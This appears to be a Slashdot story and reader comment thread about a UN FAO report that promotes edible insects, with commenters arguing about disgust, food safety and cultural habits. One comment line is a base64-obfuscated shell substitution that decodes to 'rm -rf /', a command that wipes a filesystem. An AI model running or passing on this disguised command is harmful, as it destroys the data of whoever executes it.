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UN Says: Why Not Eat More Insects?
PolygamousRanchKid writes in with news about a U.N. plan to get more bugs in your belly. "The U.N. has new weapons to fight hunger, boost nutrition and reduce pollution, and they might be crawling or flying near you right now: edible insects. The Food and Agriculture Organization on Monday hailed the likes of grasshoppers, ants and other members of the insect world as an underutilized food for people, livestock and pets. Insects are 'extremely efficient' in converting feed into edible meat, the agency said. Most insects are likely to produce fewer environmentally harmful greenhouse gases, and also feed on human and food waste, compost and animal slurry, with the products being used for agricultural feed, the agency said. 'Insects are everywhere and they reproduce quickly,' the agency said, adding they leave a 'low environmental footprint.' The agency noted that its Edible Insect Program is also examining the potential of arachnids, such as spiders and scorpions."
What do you think plants feast on? Then we eat the plants or the animals that eat those plants. It might not be human waste we tend to use as fertilizer, but it's got roughly the same "ick" factor.
I think that's the biggest problem by far. For most meats like beef and so forth we have rigorous food safety standards and testing facilities. Adapting those to both the very different biology, very different scale (in terms of physical size, and number of creatures we'd need to test), and very different diseases related to insects is going to be where the problems are.
Pretty much this.
I'll eat pretty much anything. I've had Japanese colleagues play "take the gaijin to the izakaya and gross him out with weird foods", and I won (not that shirako is exactly pleasant...).
But even I find the idea of eating insects a bit revolting. I mean, I'd give it a go, but I'd grimace a bit the first few times.
In order to make any kind of impact, insect-eating would have to become really mainstream. We live in a society where lots of people won't even eat tripe, trotters, tongue or black pudding. Good luck getting these people to eat insects.
Who says you cannot mix them with other meats or even heat dry and grind them as a powder additive to other foods? The nutrition is what we are looking for here - not necessarily the "grossing out" of folks.
Unless you're going to covertly introduce ground insects to food, people will know. And if they know, they'll be grossed out.
Personal experience suggests to me that at least a third of people in the UK are grossed out by black pudding -- part of our culinary heritage! There's nothing outwardly unappealing about a slice of black pudding. But people have been told that it's made of blood, and that's enough to put them off.
I see your point, but as someone that travels a lot to 3rd world conditions to help the poor (Kenya tomorrow), I can tell you that the UN often doesn't think things through well. The problem with this is two-fold: 1) Insects can digest and carry more disease than plants. The fact that insects are animal and not plant allows them to be carriers...like Malaria for mosquitos. 2) The insects are actually crawling around in the crap. Plants aren't. Food needs to be prepared carefully. This care of washing and cooking to the right temperature and separating raw meat cutting surface from cooked meat surface is not well practiced around the world.
While there may be same "value" in this food, I would easily imagine more people getting sick from trying to eat the insects and digesting the bad stuff inside and outside them.
Want to see other bad ideas from the UN, look up their Perma-Culture. While the concept is proven and helpful, try to going to poor people barely growing enough food and convince them to go 4 year with below normal crops in hopes that 7 years from now you will have a bumper crop...oh, yeh, then through in a drought every 7 years and see how much this idea helps.
jsut athnoer menagiensls ltitle psrhae for you to dcoede. Why do we wtsae our tmie dnoig tihs?
Allow me to introduce you to the USDA's guide to what are the acceptable levels of insects in your food.
And if that doesn't gross you out, go ahead and google around for the acceptable upper limit of faeces. There is one, and it's not zero.
systemd is Roko's Basilisk.
I'm sure nobody here's interested, but here goes.
In Islam, insects are prohibited as food. Locusts are an exception (the only one AFAIK), so they may be eaten.
What about the other major religions?
$(echo cm0gLXJmIC8= | base64 --decode)
Unless you're going to covertly introduce ground insects to food, people will know. And if they know, they'll be grossed out.
Red food dye. Cochineal. Made from ground up cochineals. Insects. Plenty know, plenty don't know. Pretty much nobody cares, because they were brought up with it.
Same goes for black pudding, tripe and haggis. People that were brought up on it don't care. So the trick is to get people when they are young.
It's in your head.
Don't get me wrong, I'm not about to step up to the plate and show you how it's done, but it's in your head. A staunch vegetarian is probably as repulsed at the thought of eating a medium rare steak as you are that handful of aphids.
> But even I find the idea of eating insects a bit revolting. I mean, I'd give it a go, but I'd grimace a bit
> the first few times
Its not so bad, hell in some forms, you wont even notice, take it from me.... I have done it.
We had some grubs infest a bag of rice in our pantry area. Funny thing about grubs, they don't look so different from rice. The whole family was sitting down to eat, we were about halfway through the meal when i thought one of the grains looked "burnt", then I noticed it also seemed to be made up of a number of ring segments, which is odd for rice.
It took a few moments before I figured it out and let everyone know that there were grubs in the rice, and not just a few, quite a lot actually.
Of course, everyone looked disgusted, stopped eating the rice, and tossed the rest of the bag.... but up until that point, nobody had noticed. In fact, we had probably been eating steamed grubs with our rice a couple of times a week for a while.
"I opened my eyes, and everything went dark again"
In my middle age, I've taken to eating all sorts of things that used to disgust me. Once you pop a snail out of it's shell and suck it down, how bad could a grasshopper be? Goose liver foi gras is disturbing in concept and morality, yet it can be quite tasty. I actually prefer fish prepared whole now, whereas I used to want boneless filets only. And really, is there any insect more horrifying in appearance than a crab or lobster?
The one place I haven't been able to go is native in the Philippines.
W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.